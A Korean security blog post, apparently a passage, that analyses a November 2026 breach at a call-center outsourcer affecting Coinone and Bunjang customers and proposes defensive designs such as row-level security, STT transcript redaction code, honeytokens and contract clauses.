      "summary": "위탁 상담사 한 곳이 뚫리자 가상자산 거래소와 중고거래 플랫폼이 동시에 샜다. 같은 사고, 정반대의 유출 항목 — 피해 범위를 정한 것은 계약서가 아니라 상담 DB의 스키마였다.",
      "content_html": "<p>2026년 11월 12일 오전 4시경, 외부 공격자가 고객상담 업무대행사 (주)메타엠의 서버에 접근해 상담 정보를 조회하고 유출했다. 코인원은 같은 날 오전 9시 20분에 수탁사로부터 이 사실을 보고받았고, 11월 15일 오전 8시에 고객 공지를 올렸다. 번개장터는 같은 위탁사의 시스템 침해를 11월 12일 오전에 확인하고 14일 고객센터 공지를 게시했다.</p>\n<p>표면적으로는 서로 무관한 두 회사의 사고다. 실제로는 <strong>한 회사의 사고</strong>이고, 두 개의 서로 다른 데이터 스키마가 같은 침해 앞에 놓였을 뿐이다. 코인원이 유출 가능 항목으로 올린 것은 상담 전화번호·이름·이메일·생년월일·계좌번호·비밀번호·주민등록번호·신분증 발급일자·자택주소·지갑주소·TXID 11개다. 번개장터가 올린 것은 휴대전화·유선번호, 일부 고객의 성명, 통화 일시·발신수신·상담사 메모·<strong>통화 녹취와 이를 문자로 변환한 기록</strong>·상담 중 언급한 계좌번호다. 그리고 번개장터는 주민등록번호·주소·이메일·생년월일·비밀번호는 \"해당 시스템에 저장돼 있지 않았다\"고 명시했다.</p>\n<p>같은 수탁사, 같은 침해, 정반대의 항목 목록. 이 대비가 이번 사고에서 가장 중요한 기술적 사실이다. 위탁 구조에서 유출 범위를 결정하는 것은 위수탁 계약서의 보호조치 문구가 아니라, <strong>그 고객사의 상담 업무가 실제로 어떤 컬럼을 요구했는가</strong>다. 코인원의 상담 흐름은 주민등록번호와 신분증 발급일자, 지갑주소, TXID를 요구했다. 번개장터의 상담 흐름은 그 값들을 요구하지 않았고, 대신 통화 녹취와 STT 변환문을 남겼다. 공격자는 한 번 들어와서 두 가지 다른 종류의 평문을 얻었다.</p>\n<p>이 사고가 개별 기업의 실수로 읽히지 않는 이유는 같은 주에 드러난 목록 때문이다. 11월 9일 금융보안원 상시평가 사이트 침해(행정서식 200여 건·개인정보 300건·이용자 정보 350건 규모로 보도됐다), 같은 날 카카오워크, 11월 13일 오전 9시 30분 비정상 접근을 확인한 한국조폐공사 지역사랑상품권 플랫폼 '착'(3,083명, 계좌번호·연계정보 포함), 11월 14일 중소기업중앙회 노란우산(가입자 192만 명 규모의 유출 가능성), 인제대 2만 4,011건, 더존비즈온 ERP를 통한 연계 기관 파급. 11월 16일 아침에는 아마데우스 예약 시스템을 경유한 여행사 고객의 여권번호 유출까지 확인됐다. 침해당한 곳과 개인정보의 주인이 다른 사례가 한 주에 이만큼 모였다는 것은, 위탁·연계 사업자가 이제 개별 기업의 보안 수준과 무관하게 개인정보 유출의 <strong>공통 경로</strong>가 되었다는 뜻이다. 메타엠은 자사 소개에서 200여 개 고객사의 컨택센터를 운영한 경험이 있다고 밝혔고, 보도에 따르면 NH투자증권·키움증권·OK저축은행 같은 금융사도 고객사로 소개돼 있다. 이번에 유출이 확인된 곳은 코인원과 번개장터지만, 확인되지 않았다는 것과 유출되지 않았다는 것은 다르다.</p>\n<h2>1. 시간축이 세 개로 갈라진 사고</h2>\n<p>같은 사고를 세 회사가 서로 다른 시각으로 기록하고 있다. 이 차이 자체가 위탁 구조의 탐지·통지 실패를 보여준다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>시각</th><th>주체</th><th>기록된 사건</th></tr></thead><tbody><tr><td>11-12 이전 (시점 미공개)</td><td>번개장터 공지</td><td>\"그 이전부터 일부 외부 공개 서비스에 비정상적인 접근이 있었던 것으로 파악\"</td></tr><tr><td>11-12 04:00경</td><td>코인원 공지</td><td>외부 공격자가 메타엠 서버에 접근해 상담 정보를 조회·유출</td></tr><tr><td>11-12 06:03</td><td>메타엠 안내</td><td>상담 서비스 장애를 계기로 이상 징후 인지</td></tr><tr><td>11-12 09:20경</td><td>코인원 공지</td><td>수탁사로부터 보고받아 인지</td></tr><tr><td>11-12 오전</td><td>번개장터 공지</td><td>위탁업체의 시스템 침해 사실 확인</td></tr><tr><td>11-13 03:44</td><td>메타엠 안내</td><td>한국인터넷진흥원(KISA) 침해사고 신고 접수 완료</td></tr><tr><td>11-14</td><td>메타엠·번개장터</td><td>메타엠 홈페이지 5장 안내 게시, 번개장터 고객센터 공지</td></tr><tr><td>11-15 08:00</td><td>코인원</td><td>고객 공지 등록 (인지 시점 +70시간 40분)</td></tr></tbody></table></div>\n<p>여기서 읽어야 할 것은 시각 자체가 아니라 시각 사이의 공백이다.</p>\n<p><strong>04:00은 침입 시각이 아니라 코인원이 확인한 시각이다.</strong> 메타엠은 12일 이전부터 일부 서비스에서 비정상 접근·조회 활동이 있었고 12일에는 일부 내부 서버에 대한 무단 접근도 확인됐다고 적었다. 코인원의 \"04:00경\"은 이미 진행 중이던 활동이 유출로 확정된 구간일 수 있고, 최초 침입 시점은 아직 공개되지 않았다. 위탁 사고에서 이 공백은 곧 <strong>체류 시간(dwell time)</strong> 이며, 체류 시간 동안 공격자가 무엇을 복사했는지는 고객사가 자기 로그로 알 수 없다.</p>\n<p><strong>탐지 신호가 '조회'가 아니라 '장애'였다.</strong> 메타엠이 침해를 안 것은 06:03의 상담 서비스 장애였다. 대량 조회나 비정상 세션을 이상으로 잡는 통제가 있었다면 그보다 먼저 울렸어야 한다. 장애가 먼저 왔다는 것은 탐지가 가용성 모니터링에 의존했다는 뜻이고, 가용성은 데이터 유출과 다른 축이다. 06:03 장애의 원인(랜섬웨어·삭제·부하·프로세스 중단)은 어느 공지에도 특정되지 않았다.</p>\n<p><strong>규제 시계의 시작점이 남의 회사 안에 있다.</strong> 개인정보 보호법 제34조는 유출을 알게 된 때 지체 없이 정보주체에게 알리고, 시행령상 통지·신고는 72시간 안에 이행하도록 정한다(1천 명 이상, 민감정보·고유식별정보 유출, 외부 불법 접근의 경우 보호위원회 신고 대상). 이 시계는 사고를 낸 수탁사가 아니라 <strong>위탁자인 코인원이 그 사실을 안 09:20</strong>부터 돈다. 메타엠이 06:03에 알아채고도 09:20에야 고객사에 알렸다면, 위탁자에게 주어진 3시간 17분은 조사 시간이 아니라 알림 대기 시간이었다. 코인원 공지는 11-15 08:00 등록으로 인지 시점에서 70시간 40분 — 제34조가 요구하는 '지체 없이'의 안쪽이지만, 위탁 구조에서 72시간은 정보주체를 보호하기엔 긴 시간이고 공격자에겐 충분히 긴 시간이다.</p>\n<p>한편 번개장터는 \"실제 유출 여부는 아직 확정되지 않았으며\"라며 유출 <strong>가능성</strong> 단계에서 14일 공지하고 개별 문자 안내를 병행했다고 밝혔다. 제34조 제2항이 가능성 단계의 통지를 따로 규정하고 있으니 절차적으로는 이쪽이 교과서에 가깝다. 문제는 절차가 아니라, 이 판단에 필요한 사실(어떤 테넌트의 어떤 컬럼이 반출됐는가)을 위탁사가 언제 어떤 해상도로 제공할 수 있느냐다.</p>\n<h2>2. 근본 원인: 위탁 경계에서 데이터 등급이 리셋된다</h2>\n<p>메모리 손상도, 인증 우회 취약점도 이번 사고의 공개된 원인이 아니다. 공개된 사실로 확인 가능한 원인은 <strong>설계 판단 세 개</strong>와 그 위에 얹힌 <strong>운영 통제 하나</strong>다.</p>\n<h3>(1) 하나의 상담 플랫폼, 테넌트별로 다른 스키마</h3>\n<p>메타엠 안내문은 \"침해가 확인되었거나 조사 중인 시스템에는 전화번호와 상담 내용이 저장되며, 고객사와 계약한 개인정보 처리 항목에 따라 이름, 이메일 주소, 주소, 생년월일 등이 함께 저장된다\"고 적었다. 이 문장은 상담 플랫폼이 테넌트(고객사)별로 컬럼 구성이 다른 멀티테넌트 구조라는 것을 그대로 노출한다. 코인원 테넌트에는 주민등록번호·계좌번호·신분증 발급일자·지갑주소·TXID 컬럼이 있었고, 번개장터 테넌트에는 녹취·STT·상담사 메모 컬럼이 있었다. 둘 다 같은 플랫폼 위에 있었다.</p>\n<p>멀티테넌트 설계에서 이 구조는 흔하고 합리적으로 보인다. 문제는 사고 이후의 결과다. 테넌트별 스키마가 물리적으로 한 인스턴스에 있으면, 테넌트 경계를 넘는 순간 유출 범위는 <strong>가장 민감한 테넌트의 스키마</strong>가 된다. 공격자는 코인원의 주민등록번호를 얻으려고 코인원만 노렸을 필요가 없다. 가장 약한 테넌트의 진입점에서 시작해 같은 DB의 옆 스키마를 읽으면 된다. 번개장터가 \"주민번호는 해당 시스템에 저장되지 않았다\"고 강조한 이유가 여기에 있다 — 그건 번개장터의 통제 성과가 아니라, 그 테넌트의 계약 범위가 우연히 좁았을 뿐이다.</p>\n<h3>(2) 평문이 태생하는 지점을 통제하지 않았다</h3>\n<p>코인원 공지는 유출 항목을 설명하면서 \"채팅/유선상담 과정에서 고객님이 직접 남기신 정보\"라고 적었다. 이 문장은 데이터의 출처를 말하는 동시에 통제의 구멍을 말한다. 회원가입 단계의 KYC는 암호화 컬럼과 키 관리로 보호되지만, 상담 단계에서 고객이 주민등록번호를 읽어주고 신분증 발급일자를 말하는 순간 그 값은 <strong>암호화되지 않은 자유서술 또는 통화 기록으로 새로 생성된다.</strong> 기존 암호문이 복호화된 것이 아니라, 같은 정보가 평문으로 한 번 더 태어나는 것이다.</p>\n<p>여기서 자주 발생하는 실패는 마스킹의 위치다. 상담원 화면에서 주민등록번호 가운데를 가리고, 조회 API에서 필드를 지우고, 엑셀 내보내기에서 컬럼을 제외한다. 그러나 저장 계층에 원문이 남아 있으면 이 모든 조치는 화면 보호일 뿐이다. 침해자는 상담원 화면을 보지 않고 DB와 백업을 본다. 마스킹은 조회 계층의 기능이 아니라 <strong>저장 계층의 속성</strong>이어야 한다.</p>\n<p>비밀번호 항목은 이 문제의 극단이다. 코인원은 상담 중 비밀번호를 말하거나 입력한 고객에게 비밀번호 변경을 권고했다. 즉 상담 기록에 해시가 아닌 <strong>비밀번호 원문 또는 그에 준하는 값</strong>이 들어간 흐름이 있었다는 뜻이고, 그 값은 계정 인증 체계의 보호를 전혀 받지 않는 텍스트 필드에 있었다. 상담 프로세스가 \"고객이 비밀번호를 말하지 않아도 되는 경로\"로 설계되지 않았다면, 저장 암호화를 아무리 잘 해도 이 항목은 계속 생산된다.</p>\n<h3>(3) 비정형 민감정보: 녹취와 STT는 검색 가능해야 쓸모가 있다</h3>\n<p>번개장터 항목 중 통화 녹취와 \"녹취를 문자로 변환한 기록\"은 정형 컬럼이 아니다. 그리고 이 데이터는 저장하는 목적 자체가 <strong>나중에 찾아보는 것</strong>이다. 민원 대응, 분쟁 처리, 품질 관리 모두 특정 통화를 다시 찾는 작업이다. 찾으려면 인덱스가 필요하고, 인덱스는 대개 암호화된 컬럼 위에 만들 수 없다. 검색 가능성과 기밀성이 정면으로 충돌하는 지점이고, 대부분의 상담 시스템은 검색 가능성 쪽으로 타협한다.</p>\n<p>STT는 이 충돌을 한 단계 악화시킨다. 오디오 파일은 그 자체로는 대량 검색이 어렵지만, STT를 거치면 \"주민등록번호\", \"계좌번호\", \"010-…\" 같은 문자열이 <strong>복사·검색·집계 가능한 형태</strong>로 새로 만들어진다. 원본에는 없던 구조가 변환 단계에서 생기는 것이다. 여기에 통화 녹취는 고객의 발화를 포함하므로, 대량 녹취는 곧 대량의 음성 샘플이 된다. 보이스클로닝 도구의 입력으로 쓰일 수 있는 소재가 상담 이력과 함께 축적된다는 뜻이다. 이번 사고에서 실제로 음성 합성에 쓰였다는 증거는 확인되지 않았지만, 유출 항목에 녹취가 들어 있다는 사실만으로 그 위험은 성립한다.</p>\n<h3>(4) 사후 조치 목록이 사전 구조를 역으로 말해준다</h3>\n<p>메타엠이 공개한 조치는 공격 IP 차단, 침해·의심 서버 격리, <strong>개발 서버망 분리</strong>, <strong>일부 고객사 연결 구간의 접근 제한</strong>, 서버·가상화 시스템·네트워크 장비 관리자 계정 비밀번호 변경, 접속 기록 분석이다.</p>\n<p>사고 후에 \"개발 서버망을 분리\"하고 \"고객사 연결 구간 접근을 제한\"했다는 것은 사고 전에 그 경로가 열려 있었다는 자기 보고다. 그리고 관리자 계정 비밀번호를 <strong>서버·가상화·네트워크 장비에 걸쳐 한꺼번에</strong> 바꿨다는 것은, 계층마다 다른 자격증명을 쓰는 구조가 아니었다는 신호다. 자격증명이 계층 간에 공유되면 서버 한 대의 로컬 관리자 권한이 하이퍼바이저 관리 API로 이어지고, 하이퍼바이저에 닿으면 VM 디스크·스냅샷·백업 볼륨 단위로 데이터를 통째로 복사할 수 있다. 이 경로는 DB 쿼리 감사 로그에 남지 않는다. 코인원이 \"계정·거래·지갑 시스템은 분리 운영\"이라고 밝힌 것은 고객사 측 경계이고, 위탁사 내부의 계층 경계는 별개 문제다.</p>\n<p>법령 쪽 기준선도 이 지점을 정확히 겨냥한다. 「개인정보의 안전성 확보조치 기준」은 접근 권한을 업무 수행에 필요한 최소 범위로 차등 부여하고 취급자별 계정을 공유 없이 발급하며(제5조), 인터넷망을 통한 접근을 IP 등으로 제한하고 외부 접속에는 인증서·보안토큰·일회용 비밀번호 같은 안전한 인증수단을 적용하도록 정한다(제6조). 접속기록은 1년 이상, 5만 명 이상 또는 <strong>고유식별정보·민감정보를 처리하는 시스템은 2년 이상</strong> 보관해야 한다(제8조 제1항). 주민등록번호를 상담 DB에 두는 순간 그 시스템은 2년 보관 대상이다.</p>\n<p>주목할 변화가 하나 있다. 2026년 11월 1일 시행된 개정으로 제8조 제2항의 \"월 1회 이상 점검\" 문구가 빠지고, 점검 주기·방법·사후조치절차를 회사가 내부 관리계획으로 정해 이행하는 구조로 바뀌었다. 숫자 규정이 사라진 것이 아니라 <strong>회사가 정한 주기가 기준이 된 것</strong>이다. 주기를 정하지 않았거나, 정한 주기를 지키지 않았거나, 다운로드 사유 확인 절차를 두지 않았다면 어느 쪽이든 위반이 된다. 이번 사고가 그 전환 직후에 터졌다는 점은, 위탁사가 자기 점검 주기를 실제로 문서화하고 이행했는지를 조사에서 가장 먼저 확인하게 만들 것이다.</p>\n<h2>3. 침해 시퀀스와 노출 범위</h2>\n<p>공개된 사실만으로 복원한 시퀀스는 아래와 같다. 각 단계 옆에 근거의 성격을 함께 적는다. 위탁사 내부를 직접 본 자료는 없으므로, 단계 사이의 연결은 추정임을 명시한다.</p>\n<div class=\"codeblock\"><pre><code>[1] 인터넷 노출 서비스에서의 비정상 접근          ← 번개장터: \"이전부터 일부 외부 공개 서비스\"\n        │  (상담 포털·관리 콘솔·API 중 무엇인지 미공개)\n        ▼\n[2] 관리자·서비스 계정 자격증명 확보              ← 추정 (공지에 경로 없음)\n        │  (서버·가상화·네트워크 장비 계정 공유 정황: 사후 일괄 변경)\n        ▼\n[3] 상담 DB 조회·반출                             ← 코인원: 11-12 04:00경 확인\n        │  (테넌트 경계를 넘었다면 옆 스키마까지 같은 시점에)\n        ▼\n[4] 개발 서버망·백업·가상화 계층                  ← 추정 (사후 \"개발 서버망 분리\")\n        │\n        ▼\n[5] 상담 서비스 장애                              ← 메타엠: 11-12 06:03 인지\n        │  (원인 미공개 — 삭제·암호화·중단·부하 모두 가능)\n        ▼\n[6] 고객사 통보 09:20 → KISA 신고 11-13 03:44 → 공지 11-14·15</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<div class=\"table-wrap\"><table><thead><tr><th>확인된 사실</th><th>확인되지 않은 것</th></tr></thead><tbody><tr><td>11-12 04:00경 메타엠 서버 접근, 상담 정보 조회·유출</td><td>최초 침입 시점과 체류 기간</td></tr><tr><td>11-12 06:03 메타엠이 서비스 장애로 이상 인지</td><td>06:03 장애의 원인(랜섬·삭제·중단 여부)</td></tr><tr><td>11-12 09:20 메타엠 → 코인원 보고</td><td>공격자 신원, 초기 진입 경로(취약점·자격증명·VPN)</td></tr><tr><td>11-13 03:44 KISA 신고</td><td>유출 인원·레코드 수, 실제 반출량</td></tr><tr><td>코인원 11개 항목, 번개장터 8개 항목 유출 가능</td><td>유출 데이터의 유통·판매 여부</td></tr><tr><td>코인원 계정·거래·지갑 시스템 직접 침해 정황 없음</td><td>메타엠 외 다른 고객사의 피해 여부</td></tr><tr><td>번개장터 시스템에 주민번호·주소·이메일·생년월일·비밀번호 미저장</td><td>STT·녹취가 하위 수탁사(클라우드 ASR 등)를 거쳤는지</td></tr></tbody></table></div>\n<p>마지막 항목은 계약 구조와 직결된다. 통화 녹취를 텍스트로 바꾸는 작업은 대개 외부 클라우드 음성인식 API를 쓴다. 그렇다면 녹취 원본과 변환문이 제3자 사업자를 거친 것이고, 개인정보 보호법 제26조 제6항이 요구하는 <strong>재위탁 동의</strong>와 국외 이전 고지의 대상이 된다. 번개장터 공지에도 메타엠 안내에도 이 구조는 나오지 않는다. 확인되지 않았다는 것과 없었다는 것은 다르지만, 위탁 계약을 점검하는 입장이라면 이 질문은 반드시 목록에 있어야 한다.</p>\n<h3>유출 항목이 조합될 때 생기는 것</h3>\n<p>항목을 개별로 보면 각각은 흔한 값이다. 위험은 조합에서 나온다.</p>\n<p><strong>신원 확정 세트 — 이름 + 생년월일 + 주민등록번호 + 신분증 발급일자 + 자택주소.</strong> 이 다섯 개는 본인확인을 요구하는 창구에서 흔히 요구되는 조합이다. 주민등록번호만으로는 최근 본인확인 흐름을 통과하기 어렵지만, 신분증 발급일자는 위·변조 신분증이나 재발급 이력 확인을 흉내 내는 데 쓰이는 보조 값이고, 자택주소는 대면 확인에서 \"아는 사람\"으로 보이게 만드는 정보다. 통신사 대리점의 대면 본인확인을 우회하려는 시도, 명의도용 개통, 금융사 비대면 채널의 추가 확인 단계 정찰에 쓰일 수 있다. 심 스와핑의 선행 조건이 통신사 본인확인이라는 점을 감안하면, 이 조합은 공격 비용을 낮추는 재료다. 이번 사고에서 실제 유심 교체 시도가 확인된 것은 아니다.</p>\n<p><strong>인증 세트 — 이메일 + 비밀번호.</strong> 코인원은 모든 로그인에 2차 인증을 적용하고 있고, 정상 앱이 아닌 곳의 로그인 요청은 자동 차단한다고 밝혔다. 그래서 이 세트만으로 코인원 계정에 들어가는 것은 현실적으로 어렵다. 그러나 같은 이메일과 비밀번호를 쓰는 <strong>다른 사이트</strong>는 그렇지 않다. 코인원이 \"같은 비밀번호를 쓰는 다른 웹사이트도 변경하라\"고 안내한 것은 이 확산 경로를 회사가 인정한 것이다. 여기에 상담 내용을 인용하는 전화가 붙으면 2차 인증도 뚫린다 — OTP를 실시간으로 요구하는 피싱은 기술적 2차 인증을 우회하는 대표적 수법이고, 상담 기록을 아는 공격자의 전화는 그 요구를 자연스럽게 만든다.</p>\n<p><strong>온체인 좌표 — 지갑주소 + TXID.</strong> 지갑주소는 그 사람의 자산이 도착하는 목적지이고, TXID는 특정 거래를 지목하는 식별자다. 둘을 함께 알면 \"이 사람이 언제 얼마를 어디로 보냈는지\"를 확인할 수 있다. 사칭 전화에서 실제 거래를 언급하는 것만으로 신뢰도는 크게 올라간다. 더 나아가 주소 스와핑(비슷하게 생긴 주소를 심어 두고 다음 송금을 가로채는 수법), 입금 지연·오입금 사칭, 거래소 사칭 메일의 개인화에 쓰일 수 있다. 온체인 데이터는 공개되어 있지만, <strong>어느 주소가 누구 것인지</strong>를 연결하는 정보는 공개되어 있지 않다. 유출된 조합이 바로 그 연결고리다.</p>\n<p><strong>중고거래 쪽 — 전화번호 + 상담 메모 + 상담 중 언급한 계좌번호 + 녹취·STT.</strong> 번개장터의 항목은 자금 이동 경로에 직접 붙는다. 판매자·구매자를 사칭해 \"환불 계좌\"를 불러주는 수법은 이미 흔하고, 상담 중에 실제로 언급된 계좌번호는 그 수법의 신뢰도를 결정적으로 높인다. 녹취와 STT는 여기에 두 가지를 더한다. 하나는 상대가 실제 상담 내용을 인용할 수 있게 하는 것이고, 다른 하나는 고객 음성 자체를 확보하는 것이다.</p>\n<h2>4. 실전 방어: 위탁 경계에서 원문을 만들지 않는 설계</h2>\n<p>이번 사고의 교훈을 \"위탁사 보안 점검을 강화한다\"로 정리하면 아무것도 바뀌지 않는다. 위탁사는 점검받는 쪽이고, 점검은 사고 전에는 통과하고 사고 후에 실패한다. 바뀌어야 하는 것은 <strong>위탁 경계를 지나는 데이터의 형태</strong>와 <strong>고객사가 위탁사 내부를 관측할 수 있는 수단</strong>이다.</p>\n<h3>(1) 저장 계층에서 원문을 없앤다 — 토큰화와 테넌트 격리</h3>\n<p>원칙은 하나다. 위탁사는 복호화할 수 없는 값만 보관한다. 주민등록번호와 계좌번호는 고객사 KMS의 봉투 암호화(envelope encryption) 또는 형식보존암호화(FF1/FF3-1)로 저장하고, 복호화 키는 위탁사에 주지 않는다. 상담원 화면에는 마스킹된 값만 내려보내고, 원문 확인이 필요한 예외 상황은 고객사 API를 실시간 호출하는 <strong>역방향 조회</strong>로 처리한다. 이러면 상담 DB가 통째로 복사돼도 원문은 나가지 않는다. 검증이 필요한 계좌번호는 <code>HMAC(salt‖계좌번호)</code>와 끝 4자리만 남기고, 일치 여부는 해시 비교로 판정한다.</p>\n<p>테넌트 격리는 애플리케이션 코드의 <code>WHERE tenant_id = ?</code>에 맡기면 안 된다. 코드 경로 하나만 빠져도 경계가 무너지고, 사고 후 \"어느 테넌트까지 넘어갔는지\"를 증명할 수 없게 된다. 데이터베이스 수준에서 강제한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-sql\">-- 상담 노트: 원문 대신 토큰·해시·비식별화 텍스트만 보관\nCREATE TABLE consult_note (\n  id            bigserial PRIMARY KEY,\n  tenant_id     text        NOT NULL,\n  customer_ref  bytea       NOT NULL,   -- HMAC(고객사 salt, 고객ID) — 위탁사 단독 재식별 불가\n  rrn_token     text,                   -- FPE 토큰 (복호화 키는 고객사 KMS)\n  acct_hash     bytea,                  -- HMAC(salt, 계좌번호)\n  acct_last4    char(4),\n  body_redacted text        NOT NULL,   -- STT·메모 비식별화 결과만\n  created_at    timestamptz NOT NULL DEFAULT now()\n);\n\nALTER TABLE consult_note ENABLE ROW LEVEL SECURITY;\nALTER TABLE consult_note FORCE ROW LEVEL SECURITY;   -- 테이블 소유자에게도 적용\n\nCREATE POLICY tenant_isolation ON consult_note\n  USING (tenant_id = current_setting('app.tenant_id', true));\n\n-- 요청 단위로만 테넌트를 주입한다. 커넥션 풀 오염을 막기 위해 SET LOCAL 사용.\nBEGIN;\nSELECT set_config('app.tenant_id', 'coinone', true);\nSELECT id, acct_last4, body_redacted FROM consult_note WHERE customer_ref = $1;\nCOMMIT;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>운영 규칙이 코드만큼 중요하다. 애플리케이션 롤에는 <code>BYPASSRLS</code>를 주지 않고, DBA는 상담 DB에 직접 붙지 않는다(붙어야 할 때는 승인 기반 일회성 계정과 세션 녹화). <code>app.tenant_id</code>를 커밋 후에도 남는 <code>SET</code>으로 설정하면 풀에서 재사용된 커넥션이 이전 테넌트의 컨텍스트를 물고 다음 요청을 처리한다. <code>SET LOCAL</code>이 기본값이어야 하는 이유다. 스키마 분리는 테넌트별로 하고, 공유 테이블에는 반드시 RLS를 건다. 격리는 \"설계했다\"가 아니라 \"위반하면 쿼리가 실패한다\"로 증명되어야 한다.</p>\n<h3>(2) STT 파이프라인에서 민감정보를 뽑아낸다</h3>\n<p>통화 녹취와 STT는 없앨 수 없다. 분쟁 대응과 품질 관리에 필요하고, 고객사도 그 목적으로 위탁했다. 대신 파이프라인에서 <strong>비식별화를 저장의 전제조건</strong>으로 만든다. 순서는 이렇게 된다.</p>\n<div class=\"codeblock\"><pre><code>오디오 → ASR → 숫자 발화 정규화 → 패턴·개체 인식 → 마스킹 → 인덱싱(비식별 텍스트)\n                                                └→ 원문 오디오: 암호화 WORM + break-glass + 접근 감사</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>정규화 단계를 빼먹으면 정규식이 거의 잡지 못한다. 한국어 ASR은 숫자를 읽는 방식이 발화마다 다르게 나온다. \"공일공\"은 문자지만 \"010\"은 숫자이고, \"이삼사오\"와 \"2345\"가 같은 통화 안에서 섞인다. 주민등록번호를 \"주민번호는 팔팔공일공일 다음에 일이삼사오육칠\"처럼 읽는 사람에게 순수 숫자 패턴을 걸면 0건이 잡힌다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">import re\n\n# 숫자를 소리 내어 읽은 형태를 자릿수로 편다. 전화·주민·계좌 번호는\n# 한 자리씩 읽는 경우가 대부분이라 수사(십/백) 처리는 금액용으로 분리한다.\nDIGIT = {'공': '0', '영': '0', '빵': '0', '노': '0',\n         '일': '1', '이': '2', '삼': '3', '사': '4', '오': '5',\n         '육': '6', '륙': '6', '칠': '7', '팔': '8', '구': '9'}\n\ndef normalize_spoken_digits(text: str) -&gt; str:\n    \"\"\"'공일공-일이삼사-오육칠팔' → '010-1234-5678'.\n    연속 3자리 이상 한글 수사만 치환해 일반 단어('이사', '오이')를 보존한다.\"\"\"\n    def repl(m):\n        run = m.group(0)\n        if len(run) &lt; 3:\n            return run\n        return ''.join(DIGIT.get(ch, ch) for ch in run)\n    return re.sub(r'[공영빵노일이삼사오육륙칠팔구]{3,}', repl, text)\n\nPII = [\n    ('phone', re.compile(r'(?&lt;!\\d)(01[016789])[- ]?(\\d{3,4})[- ]?(\\d{4})(?!\\d)'),\n              lambda m: m.group(1)),\n    ('card',  re.compile(r'(?&lt;!\\d)(\\d{4})[- ]?(\\d{4})[- ]?(\\d{4})[- ]?(\\d{4})(?!\\d)'),\n              lambda m: m.group(1)),\n    ('rrn',   re.compile(r'(?&lt;!\\d)(\\d{6})[- ]?([1-8]\\d{6})(?!\\d)'),\n              lambda m: m.group(1)),\n    ('acct',  re.compile(r'(?&lt;!\\d)(?!01[016789][- ]?\\d)(\\d{2,6})[- ](\\d{2,6})[- ](\\d{2,7})(?!\\d)'),\n              lambda m: m.group(1)),\n    ('passport', re.compile(r'(?&lt;![A-Za-z0-9])([MSROD]\\d{8})(?![A-Za-z0-9])'),\n              lambda m: m.group(1)[0]),          # 여권은 종류 문자만 남인다\n]\n\ndef redact(text: str) -&gt; str:\n    text = normalize_spoken_digits(text)\n    for kind, pat, keep in PII:\n        text = pat.sub(lambda m, k=kind, f=keep: f'[{k.upper()}:{f(m)}****]', text)\n    return text</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>패턴만으로는 이름·주소·\"제 계좌는 국민은행 ***\"처럼 숫자 없이 서술된 계좌가 남는다. 여기에 한국어 개체명 인식(이름·주소·기관)을 붙이고, 상담사가 자유서술 메모에 값을 직접 타이핑하는 경로에는 저장 시점 DLP를 건다. 상담사 메모는 구조화 필드로 유도하는 것이 근본 해법이다 — 자유서술을 없애면 비식별화 실패 지점도 사라진다.</p>\n<p>원문 오디오는 비식별화된 텍스트와 분리해 암호화 저장하고, 조회는 승인 티켓이 있어야 열리는 break-glass 경로로만 허용하며 조회 자체를 감사 로그에 남긴다. 보존 기간은 목적에 맞춰 최소화한다. \"분쟁 대응에 필요할 수 있다\"는 이유로 무기한 보관하면, 그 저장소는 언젠가 이번 사고와 같은 형태로 터진다.</p>\n<h3>(3) 제3자 접근: 최소권한·계층 분리·이상징후</h3>\n<p>상담사 계정은 테넌트별 VDI 안에서만 동작하고, 로컬 관리자 권한을 갖지 않는다. 관리자·엔지니어 계정은 PAM을 거쳐 승인 기반으로 일회성 발급하고, 서버·가상화·네트워크 장비·클라우드 콘솔에 <strong>서로 다른</strong> 자격증명을 쓴다. 계층 간 자격증명 공유는 사고 후 일괄 변경이라는 조치를 필요로 만드는 구조이기도 하다. 하이퍼바이저 관리 API는 업무망과 분리된 OOB 관리망에 두고, 스냅샷·디스크 복사 이벤트를 별도로 로깅한다. DB 쿼리 로그만 보는 탐지는 이 경로를 통째로 놓친다.</p>\n<p>네트워크 쪽은 이그레스 허용목록이 기본이다. 상담 시스템이 외부로 나갈 수 있는 목적지를 정해 두면, 반출 단계에서 걸릴 확률이 생긴다. 그리고 조회량 자체를 이상징후로 다뤄야 한다. 상담원 한 명이 하루에 처리하는 건수에는 분포가 있고, 대량 조회·연속 조회·야간 조회·특정 테넌트 집중은 그 분포에서 벗어난다. 안전조치 기준 제8조 제2항이 요구하는 다운로드 상황 확인은 월 단위 보고서가 아니라 <strong>이벤트 단위 알림</strong>이어야 의미가 있다.</p>\n<p>가장 실용적인 보완은 고객사 쪽에 탐지 수단을 두는 것이다. 위탁사가 침해당하면 그 회사가 보관한 접속기록의 신뢰도도 함께 무너진다. 그래서 위탁 계약에 접속기록 사본의 고객사 전송(WORM 또는 고객사 SIEM 직송)을 넣고, 상담 DB에 <strong>허니토큰 레코드</strong>를 심는다. 실제로 존재하지 않는 고객의 상담 행을 만들어 두고, 그 행이 조회되면 즉시 알람을 받는 구조다. 정상 업무에서는 절대 읽히지 않는 값이므로 오탐이 거의 없고, 대량 조회가 시작되는 순간을 잡아낸다. 같은 원리로 캐너리 API 키와 캐너리 관리자 계정을 둔다.</p>\n<h3>(4) 계약서에 들어가야 할 기술 조항</h3>\n<p>법은 이미 위탁자에게 감독 의무를 지운다. 개인정보 보호법 제26조 제4항은 위탁자가 수탁자를 교육하고 처리 현황을 점검·감독하도록 정하고, 같은 조 제8항은 안전조치 의무(제29조)와 유출 통지·신고 의무(제34조)를 수탁자에게 준용한다. 감독을 소홀히 해 수탁자가 법을 위반하면 제64조의2 제1항 제5호의 과징금 사유가 되고, 상한은 위탁자 매출액의 3%다(2026년 9월 11일 시행 개정으로 일정 요건에서는 10%까지 올라간다). 그런데 감독 의무를 이행하려면 감독할 대상이 보여야 한다. 아래 조항은 그 가시성을 계약으로 확보하는 장치다.</p>\n<ul><li><strong>통지 SLA</strong>: 침해 인지 후 24시간 내 서면 통지, 유출 가능성 단계 포함. 이번 사고의 06:03→09:20은 3시간 17분이었지만, 이 